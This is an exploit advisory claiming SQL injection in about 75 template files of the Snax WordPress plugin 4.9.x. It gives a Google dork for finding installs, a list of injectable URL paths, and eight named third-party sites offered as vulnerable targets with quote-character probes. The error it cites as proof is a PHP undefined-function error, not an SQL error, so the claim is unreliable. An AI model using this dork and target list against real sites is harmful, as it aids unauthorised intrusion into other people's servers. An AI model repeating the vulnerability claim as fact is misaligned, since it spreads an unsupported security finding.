WordPress Snax 4.9.x SQL Injection

`####################################################################  
  
# Exploit Title : WordPress Snax Plugins 4.9.x SQL Injection  
# Author [ Discovered By ] : KingSkrupellos  
# Team : Cyberizm Digital Security Army  
# Date : 28/01/2019  
# Vendor Homepage : snax.bringthepixel.com  
# Software Information Link : codecanyon.net/item/snax-viral-frontend-uploader/16540363  
# Software Version : 4.9.x and other previous versions  
# Software Price : 30$  
# Tested On : Windows and Linux  
# Category : WebApps  
# Exploit Risk : Medium  
# Google Dorks : inurl:''/wp-content/plugins/snax/templates/''  
# Vulnerability Type : CWE-89 [ Improper Neutralization of   
Special Elements used in an SQL Command ('SQL Injection') ]  
  
####################################################################  
  
# Description :  
*************  
  
Snax Viral Content Builder by bringthepixel lets site visitors (frontend) and editors (backend)   
  
create quizzes, polls, lists, memes and other viral content.  
  
####################################################################  
  
# Impact :  
**********  
  
* WordPress Snax Plugin for WordPress 4.9.x and other versions is prone to an   
  
SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied   
  
data before using it in an SQL query.  
  
* Exploiting this issue could allow an attacker to compromise the application, read,  
  
access or modify data, or exploit latent vulnerabilities in the underlying database.   
  
If the webserver is misconfigured, read & write access to the filesystem may be possible.  
  
####################################################################  
  
# SQL Injection Exploit :  
**************************  
  
/wp-content/plugins/snax/templates/amp/content-gallery.php?id=[SQL Injection]  
  
/wp-content/plugins/snax/templates/amp/content-list.php?id=[SQL Injection]  
  
/wp-content/plugins/snax/templates/amp/content.php?id=[SQL Injection]  
  
/wp-content/plugins/snax/templates/buddypress/items/loop-items.php?id=[SQL Injection]  
  
/wp-content/plugins/snax/templates/buddypress/items/pagination-bottom.php?id=[SQL Injection]  
  
/wp-content/plugins/snax/templates/buddypress/items/pagination.php?id=[SQL Injection]  
  
/wp-content/plugins/snax/templates/buddypress/items/section-approved.php?id=[SQL Injection]  
  
/wp-content/plugins/snax/templates/buddypress/items/section-pending.php?id=[SQL Injection]  
  
/wp-content/plugins/snax/templates/buddypress/posts/loop-posts.php?id=[SQL Injection]  
  
/wp-content/plugins/snax/templates/buddypress/posts/pagination-bottom.php?id=[SQL Injection]  
  
/wp-content/plugins/snax/templates/buddypress/posts/pagination.php?id=[SQL Injection]  
  
/wp-content/plugins/snax/templates/buddypress/posts/section-approved.php?id=[SQL Injection]  
  
/wp-content/plugins/snax/templates/buddypress/posts/section-draft.php?id=[SQL Injection]  
  
/wp-content/plugins/snax/templates/buddypress/posts/section-pending.php?id=[SQL Injection]  
  
/wp-content/plugins/snax/templates/buddypress/votes/loop-vote.php?id=[SQL Injection]  
  
/wp-content/plugins/snax/templates/buddypress/votes/loop-votes.php?id=[SQL Injection]  
  
/wp-content/plugins/snax/templates/buddypress/votes/pagination-bottom.php?id=[SQL Injection]  
  
/wp-content/plugins/snax/templates/buddypress/votes/pagination.php?id=[SQL Injection]  
  
/wp-content/plugins/snax/templates/buddypress/votes/section-downvotes.php?id=[SQL Injection]  
  
/wp-content/plugins/snax/templates/buddypress/votes/section-upvotes.php?id=[SQL Injection]  
  
/wp-content/plugins/snax/templates/content.php?id=[SQL Injection]  
  
/wp-content/plugins/snax/templates/demo/form-embed.php?id=[SQL Injection]  
  
/wp-content/plugins/snax/templates/demo/form-gallery.php?id=[SQL Injection]  
  
/wp-content/plugins/snax/templates/demo/form-image.php?id=[SQL Injection]  
  
/wp-content/plugins/snax/templates/demo/form-list.php?id=[SQL Injection]  
  
/wp-content/plugins/snax/templates/demo/form-meme.php?id=[SQL Injection]  
  
/wp-content/plugins/snax/templates/fb-instant-articles/content-list.php?id=[SQL Injection]  
  
/wp-content/plugins/snax/templates/items/form-edit/row-description.php?id=[SQL Injection]  
  
/wp-content/plugins/snax/templates/items/form-edit/row-legal.php?id=[SQL Injection]  
  
/wp-content/plugins/snax/templates/items/form-edit/row-referral.php?id=[SQL Injection]  
  
/wp-content/plugins/snax/templates/items/form-edit/row-source.php?id=[SQL Injection]  
  
/wp-content/plugins/snax/templates/items/form-edit/row-title.php?id=[SQL Injection]  
  
/wp-content/plugins/snax/templates/items/form-new-audio.php?id=[SQL Injection]  
  
/wp-content/plugins/snax/templates/items/form-new-embed.php?id=[SQL Injection]  
  
/wp-content/plugins/snax/templates/items/form-new-image.php?id=[SQL Injection]  
  
/wp-content/plugins/snax/templates/items/form-new-text.php?id=[SQL Injection]  
  
/wp-content/plugins/snax/templates/items/form-new-video.php?id=[SQL Injection]  
  
/wp-content/plugins/snax/templates/items/form-new.php?id=[SQL Injection]  
  
/wp-content/plugins/snax/templates/items/nav.php?id=[SQL Injection]  
  
/wp-content/plugins/snax/templates/items/note.php?id=[SQL Injection]  
  
/wp-content/plugins/snax/templates/pages/about.php?id=[SQL Injection]  
  
/wp-content/plugins/snax/templates/polls/content-answer.php?id=[SQL Injection]  
  
/wp-content/plugins/snax/templates/polls/content-question.php?id=[SQL Injection]  
  
/wp-content/plugins/snax/templates/polls/loop-answers.php?id=[SQL Injection]  
  
/wp-content/plugins/snax/templates/polls/loop-questions.php?id=[SQL Injection]  
  
/wp-content/plugins/snax/templates/polls/pagination.php?id=[SQL Injection]  
  
/wp-content/plugins/snax/templates/polls/poll.php?id=[SQL Injection]  
  
/wp-content/plugins/snax/templates/polls/progress-coins.php?id=[SQL Injection]  
  
/wp-content/plugins/snax/templates/posts/content-gallery.php?id=[SQL Injection]  
  
/wp-content/plugins/snax/templates/posts/content-list.php?id=[SQL Injection]  
  
/wp-content/plugins/snax/templates/posts/content.php?id=[SQL Injection]  
  
/wp-content/plugins/snax/templates/posts/note.php?id=[SQL Injection]  
  
/wp-content/plugins/snax/templates/posts/origin.php?id=[SQL Injection]  
  
/wp-content/plugins/snax/templates/posts/voting-box.php?id=[SQL Injection]  
  
/wp-content/plugins/snax/templates/posts/form-edit/row-actions.php?id=[SQL Injection]  
  
/wp-content/plugins/snax/templates/posts/form-edit/row-categories.php?id=[SQL Injection]  
  
/wp-content/plugins/snax/templates/posts/form-edit/row-description.php?id=[SQL Injection]  
  
/wp-content/plugins/snax/templates/posts/form-edit/row-draft-actions.php?id=[SQL Injection]  
  
/wp-content/plugins/snax/templates/posts/form-edit/row-featured-image.php?id=[SQL Injection]  
  
/wp-content/plugins/snax/templates/posts/form-edit/row-legal.php?id=[SQL Injection]  
  
/wp-content/plugins/snax/templates/posts/form-edit/row-list-options.php?id=[SQL Injection]  
  
/wp-content/plugins/snax/templates/posts/form-edit/row-referral.php?id=[SQL Injection]  
  
/wp-content/plugins/snax/templates/posts/form-edit/row-source.php?id=[SQL Injection]  
  
/wp-content/plugins/snax/templates/posts/form-edit/row-tags.php?id=[SQL Injection]  
  
/wp-content/plugins/snax/templates/quizzes/actions-end.php?id=[SQL Injection]  
  
/wp-content/plugins/snax/templates/quizzes/actions-start.php?id=[SQL Injection]  
  
/wp-content/plugins/snax/templates/quizzes/content-answer.php?id=[SQL Injection]  
  
/wp-content/plugins/snax/templates/quizzes/content-question.php?id=[SQL Injection]  
  
/wp-content/plugins/snax/templates/quizzes/intro.php?id=[SQL Injection]  
  
/wp-content/plugins/snax/templates/quizzes/loop-answers.php?id=[SQL Injection]  
  
/wp-content/plugins/snax/templates/quizzes/loop-questions.php?id=[SQL Injection]  
  
/wp-content/plugins/snax/templates/quizzes/pagination.php?id=[SQL Injection]  
  
/wp-content/plugins/snax/templates/quizzes/progress-coins.php?id=[SQL Injection]  
  
/wp-content/plugins/snax/templates/widget-call-to-action.php?id=[SQL Injection]  
  
/wp-content/plugins/snax/templates/widget-teaser/poll-binary.php?id=[SQL Injection]  
  
/wp-content/plugins/snax/templates/widget-teaser/poll-versus.php?id=[SQL Injection]  
  
####################################################################  
  
# Example Vulnerable Sites :  
*************************  
  
[+] universopop.com.br/wp-content/plugins/snax/templates/widget-call-to-action.php?id=1%27  
  
[+] ongelofelijk.eu/wp-content/plugins/snax/templates/items/nav.php?id=1%27  
  
[+] ekler.mk/wp-content/plugins/snax/templates/items/nav.php?id=1%27  
  
[+] almosari3.info/wp-content/plugins/snax/templates/items/nav.php?id=1%27  
  
[+] topfivebuzz.com/wp-content/plugins/snax/templates/items/nav.php?id=1%27  
  
[+] pokestgo.cl/wp-content/plugins/snax/templates/items/nav.php?id=1%27  
  
[+] js.pl/wp-content/plugins/snax/templates/items/nav.php?id=1%27  
  
[+] yoogbe.com/wp-content/plugins/snax/templates/items/nav.php?id=1%27  
  
####################################################################  
  
# Example SQL Database Error :  
****************************  
  
Fatal error: Uncaught Error: Call to undefined function   
snax_get_frontend_submission_page_url() in /home/unive684/public_html  
/wp-content/plugins/snax/templates/widget-call-to-action.php:8 Stack trace:   
#0 {main} thrown in /home/unive684/public_html/wp-content/plugins  
/snax/templates/widget-call-to-action.php on line 8  
  
####################################################################  
  
# Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team   
  
####################################################################  
`